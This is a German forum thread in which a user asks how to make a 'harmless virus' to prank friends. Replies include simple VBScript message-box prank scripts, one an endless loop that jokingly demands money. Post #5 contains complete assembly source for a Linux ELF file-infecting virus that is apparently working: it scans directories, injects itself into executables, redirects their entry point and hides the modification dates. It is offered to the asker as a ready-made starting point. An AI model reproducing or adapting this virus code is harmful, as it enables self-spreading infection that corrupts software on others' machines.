Harmloser "Virus"

Diskutiere Harmloser "Virus" im Security-Zone - Sicherheitslücken, Virenschutz Forum im Bereich Hardware & Software Forum; hi,ich möchte aus spaß mal einen "virus" programmieren.nichts schlimmes,ich möchte nur meine freunde ein bisschen verarschen,zum beispiel so ein...
Status
Für weitere Antworten geschlossen.
  • Harmloser "Virus" Beitrag #1
eight

eight

Neues Mitglied
Dabei seit
08.03.2007
Beiträge
3
Reaktionspunkte
0
hi,ich möchte aus spaß mal einen "virus" programmieren.nichts schlimmes,ich möchte nur meine freunde ein bisschen verarschen,zum beispiel so ein "virus",der sich selbst an alle msn kontakte verschickt,der das laufwerk immer wieder öffnet oder der sowas kann wie das langeweileprogramm von http://www.file4fun.de.ich möchte,das ihr mir mal sagt,ob man sowas machen kann,wenn ja,was man dafür braucht.
 
  • Harmloser "Virus" Beitrag #2
N

Nolath

Bekanntes Mitglied
Dabei seit
23.10.2006
Beiträge
1.121
Reaktionspunkte
1
hi,ich möchte aus spaß mal einen "virus" programmieren.nichts schlimmes,ich möchte nur meine freunde ein bisschen verarschen,zum beispiel so ein "virus",der sich selbst an alle msn kontakte verschickt,der das laufwerk immer wieder öffnet oder der sowas kann wie das langeweileprogramm von http://www.file4fun.de.ich möchte,das ihr mir mal sagt,ob man sowas machen kann,wenn ja,was man dafür braucht.

Das ist kein Virus sondern ein Scherz-Programm.
Dafür empfiehlt sich z.B. C++.
Würde ich aber eher in Developer Network schreiben.
 
  • Harmloser "Virus" Beitrag #3
Ultimate Construct

Ultimate Construct

Bekanntes Mitglied
Dabei seit
19.06.2006
Beiträge
4.137
Reaktionspunkte
0
Von der Zonenregel
Falsch: "Wer kann mir ein Tool nennen, damit ich in den Rechner von xy eindringen kann um ihn zu ärgern. Er hat das bei mir auch gemacht und daher möchte ich mich jetzt bei ihm rächen."
Dazu gehört auch das man einem "Freund" ( wenn man ihn so nennen kann ) "verarschen" lassen will .

eight schrieb:
ich möchte nur meine freunde ein bisschen verarschen

nur :rolleyes:
 
  • Harmloser "Virus" Beitrag #4
nooob

nooob

Bekanntes Mitglied
Dabei seit
18.01.2007
Beiträge
220
Reaktionspunkte
0
Ort
von zuhause
ich hab ein für dich
msgbox ("Hallo")
msgbox ("Hallo")
msgbox ("Hallo")
msgbox ("Hallo")


das in eint texteditor einfügen und speichern unter z.b lol.vbs aber vbs nicht vergessen

das ist kein virus sondern ein scherz programm
 
  • Harmloser "Virus" Beitrag #5
C

cc_ip

Bekanntes Mitglied
Dabei seit
08.03.2007
Beiträge
214
Reaktionspunkte
0
da ich immer gerne behilflich bin hier ein kleiner asm schnipsel der dich weiterbringen sollte, was du damit machst sei dir überlassen und wenn du was kaputt machst biste selbst schuld...:

Code:
BITS       32
SECTION   .text
GLOBAL    _start
 
_start:
      pushfd
      pushfd
      pushad
 
      call    delta
 
delta:
      mov     esi,esp
      lodsd
      sub     eax,delta
      xchg    eax,ebp                       ; EBP = delta offset
 
      sub     esp,730h
 
 
; time returns the seconds since January 1, 1970. Starting from this value,
;we have to compute the actual date
 
      xor     eax,eax
      mov     al,0dh                        ; sys_time
      mov     ebx,esp
      int     80h
 
      cdq
      mov     ecx,151bbh                    ; 86459 seconds
      div     ecx
      cdq
      mov     ecx,16dh                      ; 365 days
      div     ecx
      cmp     dx,14dh                       ; 30 Nov?
      jne     no_activarse
 
 
; PAYLOAD
 
      mov     al,04h                        ; sys_write
      xor     ebx,ebx
      inc     ebx
      lea     ecx,[mensaje+ebp]
      mov     dx,len
      int     80h
 
      jmp     $
 
 
no_activarse:
      mov     byte [numinfect+ebp],00h      ; set number of infections to 0
 
      mov     edx,dword [old_entry+ebp]
      mov     dword [esi+24h],edx
 
      mov     al,0b7h                       ; sys_getcwd
      add     ebx,334h
      mov     edx,ebx
      mov     cx,400h
      int     80h
 
abrir_dir:
      lea     ebx,[dot+ebp]
      xor     ecx,ecx
      mov     ax,05h                        ; sys_open
      int     80h
 
      xchg    eax,ebx                       ; EBX = fd
      xchg    eax,edi
 
      xor     eax,eax
      mov     ecx,esp
      add     ecx,22ah
 
leer_entrada:
      mov     al,59h                        ; old_readdir
      int     80h
 
      dec     eax
      jz      infect
 
      xor     eax,eax
      mov     al,06h                        ; sys_close
      int     80h
 
      xor     ecx,ecx
      mov     cl,02h
      xor     eax,eax
      mov     al,0b7h                       ; sys_getcwd
      mov     ebx,esp
      int     80h
 
      add     eax,22h
      jnz     salir
 
      mov     ebx,edi
      dec     ebx
      mov     al,0ch                        ; sys_chdir
      int     80h
 
      or      eax,eax
      jns     abrir_dir
 
salir:
      xor     eax,eax
      mov     al,0ch                        ; sys_chdir
      mov     ebx,edx
      int     80h
 
      mov     esp,esi
      popad
      popfd
      ret                                   ; return control to host
 
infect:
      pushad
 
      mov     al,05h                        ; sys_open
      mov     ebx,ecx
      add     ebx,0ah
      xor     ecx,ecx
      mov     cl,02h                        ; O_RDWR
      int     80h
 
      test    eax,eax                       ; error?
      jns     seguimos
 
      popad
      jmp     leer_entrada
 
seguimos:
      xchg    eax,ebx                       ; EBX = fd
      xchg    eax,ecx
      inc     eax                           ; EAX = 3 (sys_read)
      mov     edx,234h                      ; amount of bytes we want to
                                            ;read from the file (52 + 512)
      mov     ecx,esp
      add     ecx,20h
      mov     edi,ecx
      int     80h
 
      sub     dword [ecx],464c457fh         ; ELF?
      jnz     @close_file
      sub     byte [ecx+10h],02h            ; executable?
      jnz     @close_file
 
busca_loadable:
      add     ecx,20h                       ; next entry in the PHT
      dec     dword [ecx+14h]               ; loadable?
      jnz     busca_loadable
 
      mov     eax,dword [ecx+28h]           ; EAX = p_memsz
      neg     eax
      and     ah,0fh
      cmp     ax,virus_len
      jb      @close_file
 
      movzx   esi,ax
 
      sub     ecx,esp
      mov     edx,ecx
 
      xor     eax,eax
      mov     al,6ch                        ; sys_newfstat
      mov     ecx,edi
      int     80h
 
      mov     edi,dword [ecx+14h]           ; EDI = original file size
 
      xor     ecx,ecx
      mov     ch,10h
      add     ecx,edi                       ; ECX = new file size
      mov     al,5dh                        ; sys_ftruncate
      int     80h
 
      push    ebx
 
      push    eax                           ; beginning of the file (0)
      push    ebx                           ; fd
      xor     ebx,ebx
      inc     eax
      push    eax                           ; MAP_SHARED (1)
      mov     al,03h
      push    eax                           ; PROT_READ + PROT_WRITE (3)
      push    ecx                           ; map the whole file
      push    ebx                           ; 0
      mov     ebx,esp
      mov     al,5ah                        ; old_mmap
      int     80h
 
      add     esp,18h                       ; restore stack
 
      cmp     eax,0fffff000h                ; error?
      jbe     map_ok
 
      pop     ebx
      push    ebx
 
      mov     ecx,edi                       ; ECX = original file size
      xor     eax,eax
      mov     al,5dh                        ; sys_ftruncate
      int     80h
 
      jmp     restore_date
 
@close_file:
      jmp     close_file
 
map_ok:
      xchg    eax,ebx                       ; EBX = map address
      add     edx,ebx
 
      push    ecx                           ; stack new file size
 
      mov     eax,dword [edx+04h]           ; p_filesz
      push    eax
      add     eax,dword [edx-04h]           ; p_filesz + p_vaddr
      mov     ecx,dword [ebx+18h]           ; e_entry
      mov     dword [ebx+18h],eax           ; put new entry point
      mov     dword [old_entry+ebp],ecx     ; save old
 
      pop     eax                           ; p_filesz
      add     eax,dword [edx-08h]           ; p_filesz + p_offset
      movzx   ecx,word [ebx+2ch]            ; e_phnum
 
      add     dword [edx+04h],esi           ; new p_filesz
      add     dword [edx+08h],esi           ; new p_memsz
      mov     byte [edx+0ch],07h            ; PF_R + PF_W + PF_X
 
      mov     edx,ebx
      add     edx,38h                       ; EDX = PHT offset + 4
 
      mov     si,1000h
 
fix_PHT:
      cmp     dword [edx],eax
      jb      next_entry_PHT
 
      add     dword [edx],esi               ; fix this entry!
 
next_entry_PHT:
      add     edx,20h                       ; next entry in the PHT + 4
      loop    fix_PHT
 
 
      mov     edx,dword [ebx+20h]           ; e_shoff
      add     dword [ebx+20h],esi           ; fix e_shoff
      add     edx,ebx
      mov     cl,byte [ebx+30h]             ; e_shnum
 
fix_SHT:
      cmp     dword [edx+10h],eax
      jb      next_entry_SHT
 
      add     dword [edx+10h],esi           ; fix this entry!
 
next_entry_SHT:
      add     edx,28h                       ; next entry in the SHT
      loop    fix_SHT
 
 
      mov     ecx,edi
      sub     ecx,eax                       ; amount of bytes we are going
                                            ;to move
      dec     edi
      add     edi,ebx
      xadd    edi,esi
 
      std
      rep     movsb
      cld
 
      mov     cl,virus_len/4
 
      lea     esi,[_start+ebp]
      mov     edi,eax
      add     edi,ebx
      rep     movsd                         ; copy the virus!
 
      xor     eax,eax
      mov     al,5bh                        ; sys_munmap
      pop     ecx
      int     80h
 
      inc     byte [numinfect+ebp]
 
restore_date:
      mov     al,1eh                        ; sys_utime
      mov     ebx,esp
      add     ebx,258h
      mov     ecx,esp
      add     ecx,48h
      int     80h
 
      pop     ebx
 
close_file:
      xor     eax,eax
      mov     al,06h                        ; sys_close
      int     80h
 
      popad
 
      cmp     byte [numinfect+ebp],03h
      je      nos_vamos
      jmp     leer_entrada
 
nos_vamos:
      mov     al,06h                        ; sys_close
      int     80h
      jmp     salir
 
 
db '.'
 
dot             db '.',0
old_entry       dd final
numinfect       db 0
mensaje         db '[4096] virus coded by badCRC in 2003',0ah
 
len             equ $-mensaje
 
 
; This is only for the first generation
 
final:
      mov     eax,01h                       ; sys_exit
      int     80h
 
 
virus_len       equ final-_start

edit: ich hab dir sogar den payload nachträglich noch mit eingefügt, jetz is aber genug an infos.. was will man auch mehr
 
  • Harmloser "Virus" Beitrag #6
C

cc_ip

Bekanntes Mitglied
Dabei seit
08.03.2007
Beiträge
214
Reaktionspunkte
0
ahjo, nur für diejenigen die es nicht wissen, veröffentlichung von viren source ist nicht illegal !
 
  • Harmloser "Virus" Beitrag #7
H

hydrogencarbonat

Bekanntes Mitglied
Dabei seit
15.03.2007
Beiträge
531
Reaktionspunkte
0
Ort
musterstrasse
mal ne frage was macht man hiermit
msgbox ("Hallo")
msgbox ("Hallo")
msgbox ("Hallo")
msgbox ("Hallo")


ich habs gespeichert , aber wo setzt man das ein ?
 
  • Harmloser "Virus" Beitrag #8
BioaSharky

BioaSharky

Super-Moderator
Teammitglied
Dabei seit
25.01.1999
Beiträge
18.511
Reaktionspunkte
9
  • Harmloser "Virus" Beitrag #9
H

hydrogencarbonat

Bekanntes Mitglied
Dabei seit
15.03.2007
Beiträge
531
Reaktionspunkte
0
Ort
musterstrasse
das ist mir schon klar ... was macht es denn ?
Und könnte man das z.B im ICQ einsetzten ?
 
  • Harmloser "Virus" Beitrag #10
F

F_L_X

Bekanntes Mitglied
Dabei seit
27.02.2007
Beiträge
788
Reaktionspunkte
0
Ort
Oklahoma
das ist mir schon klar ... was macht es denn ?
Und könnte man das z.B im ICQ einsetzten ?

Diese handvoll Zeilen zeigen ein Windows Fenster mit dem Text "HALLO" an.
Was stellst du dir unter "in ICQ einsetzen" vor? Klar, du kannst es an Freunde schicken, aber mehr auch nich!
 
  • Harmloser "Virus" Beitrag #11
Ultimate Construct

Ultimate Construct

Bekanntes Mitglied
Dabei seit
19.06.2006
Beiträge
4.137
Reaktionspunkte
0
Omg @hydrogencarbonat ...

Wenn du weisst wie man es abspeichert , dann kannst du es wohl öffnen und siehst doch was passiert, oder nicht ? Ausserdem sagt der Befehl MsgBox schon alles. Es kommen 4 Message ( deutsch -> Nachricht) Boxen("Fenster" ) wo drin steht : "Hallo" .


Und da du direkt nach "geht das auch bei ICQ ?" fragst , denk ich mir das du schonmala nichts Legales im Sinn hast .

MFG, The Ultimate Construct
 
  • Harmloser "Virus" Beitrag #12
amihandot

amihandot

Bekanntes Mitglied
Dabei seit
21.09.2006
Beiträge
3.944
Reaktionspunkte
1
Ort
nirgendwo im irgendwo
msgbox "You have started a system programm. Windows will shut down now. All unsafed Documents will be destroyed. You have 10 seconds to stop the maschine ", 16 ,"Critical Error"



msgbox "Ok... nun ist es soweit... Drücke bitte auf Ok...^^", ,"Abschluss der Vorgangs^^"

msgbox "Naja gut... eigentlich habe ich dich vera****t... Schade, oder...?^^. Aber halt! Ich lasse dich jetzt noch ein paar mal auf ok drücken...",,""

do

msgbox "",65536,""
msgbox "",65536,""
msgbox "",65536,""
msgbox "",65536,""
msgbox "",65536,""
msgbox "",65536,""
msgbox "",65536,""
msgbox "",65536,""
msgbox "",65536,""



b = msgbox (("Macht es denn Spaß?"), 4132 , ("muhahaha"))

if a = vbyes then

msgbox "Oh... naja, dass kann sich in den nächsten 1-2 Stunden klicken ändern...^^ ",, "manomann...^^"

else
msgbox "Dass glaube ich dir nur zu gerne.... Aber du wirst dich dran gewöhnen müssen :) *teuflisch lach*...",,""

end if

msgbox "Weiter gehts!!!!",,""

msgbox "Du musst einfach auf Ok drücken...",65536,""
msgbox "Du musst einfach auf Ok drücken...",65536,""
msgbox "Du musst einfach auf Ok drücken...",65536,""
msgbox "Du musst einfach auf Ok drücken...",65536,""
msgbox "Du musst einfach auf Ok drücken...",65536,""

msgbox "Ok... du hast es geschaft!! Du hast dein Klick-Training abgeschlossen",,"Herzlichen Glückstrumpf^^"

msgbox "Schon wieder reingefallen!!!",,""

msgbox "Wenn du willst, dass ich aufhöre, dann musst du einfach einen 10Euro schein in das Diskettenlaufwerk schieben oder ihn mir geben...",,"10€"

c = msgbox (("Willst du das Geld rausrücken?"),36,("Kohle???"))

if c = vbyes then

msgbox "OK, gibs mir einfach, ich beende das hier dann!!!",,"Juhuuu!!!"

else

msgbox "Du bist ein HONK(=Hauptschüler Ohne Nennenswerte Kentnisse). Naja... selber schuld...",,"Nein...???"

end if

msgbox "Das geht jetzt noch ewig so weiter... aber du wolltest ja nicht...",,""

d = msgbox (("Oder willst du villeicht doch zahlen? Eine Cahne gebe ich dir noch!"),36,("Letzte Chance!!!"))

if d = vbyes then

msgbox "Da also, geht doch!!! Gib mir das Geld einfach!",,"Na, also!"

else

msgbox "Du bist ein HORST! Aber wenn du nicht willst, bist du ja selber Schuld...!",,"Du Horst!"

end if

msgbox "Du musst einfach auf Ok drücken...",65536,""
msgbox "Du musst einfach auf Ok drücken...",65536,""
msgbox "Du musst einfach auf Ok drücken...",65536,""
msgbox "Schneller!!!",65536,""
msgbox "Du musst einfach auf Ok drücken...",65536,""

msgbox "Das ist jetzt dein Problem: Ich baue jetzt eine Schleife hier ein, weil ich keinen Bock habe, hier endlos weiter zu schreiben...! Wie gesagt: dein Problem. Das ganze geht jetzt einfach wieder von vorne los...!",,""

loop




Du könntest das hier benutzen. Ist ebenfalls ein kleines nerviges Scherzprog...
Wie oben schon beschrieben im Editor als *.vbs abspeichern.
 
  • Harmloser "Virus" Beitrag #13
H

hydrogencarbonat

Bekanntes Mitglied
Dabei seit
15.03.2007
Beiträge
531
Reaktionspunkte
0
Ort
musterstrasse
könnte man das auch ähm z.B tausende von male schreiben geht das bis ins unendliche ?
 
  • Harmloser "Virus" Beitrag #14
amihandot

amihandot

Bekanntes Mitglied
Dabei seit
21.09.2006
Beiträge
3.944
Reaktionspunkte
1
Ort
nirgendwo im irgendwo
das was ich geschrieben habe wiederholt sich bis ins unendliche...

Wenn er am ende angekommen ist, beginnt er wieder von vorne!
 
  • Harmloser "Virus" Beitrag #15
freak_111

freak_111

Bekanntes Mitglied
Dabei seit
13.02.2007
Beiträge
2.468
Reaktionspunkte
0
Ort
Grand Line
Ist das dumm!
 
  • Harmloser "Virus" Beitrag #16
H

hydrogencarbonat

Bekanntes Mitglied
Dabei seit
15.03.2007
Beiträge
531
Reaktionspunkte
0
Ort
musterstrasse
ah ich probiers mal aus
 
  • Harmloser "Virus" Beitrag #18
H

hydrogencarbonat

Bekanntes Mitglied
Dabei seit
15.03.2007
Beiträge
531
Reaktionspunkte
0
Ort
musterstrasse
da ist ein fehler drin ... ich habs im editor gespeichert ab da steht da ist ein fehler in zeile 80
code : 800A03FB
quelle : Kompielierungsfehler in Microsoft VBSript
 
  • Harmloser "Virus" Beitrag #19
Ultimate Construct

Ultimate Construct

Bekanntes Mitglied
Dabei seit
19.06.2006
Beiträge
4.137
Reaktionspunkte
0
Lernt doch einfach Visual Basic anstatt hier OffTopic über Scherzprogramme zu sprechen . Und Spam/Kommentare wie "Ist ja dumm" ist ja wohl auch überflüssig .

MFG, The Ultimate Construct
 
  • Harmloser "Virus" Beitrag #20
amihandot

amihandot

Bekanntes Mitglied
Dabei seit
21.09.2006
Beiträge
3.944
Reaktionspunkte
1
Ort
nirgendwo im irgendwo
bei mir läuft es einwandfrei....
 
Status
Für weitere Antworten geschlossen.
Thema:

Harmloser "Virus"

ANGEBOTE & SPONSOREN

https://www.mofapower.de/

Statistik des Forums

Themen
213.180
Beiträge
1.579.174
Mitglieder
55.879
Neuestes Mitglied
stonetreck
Oben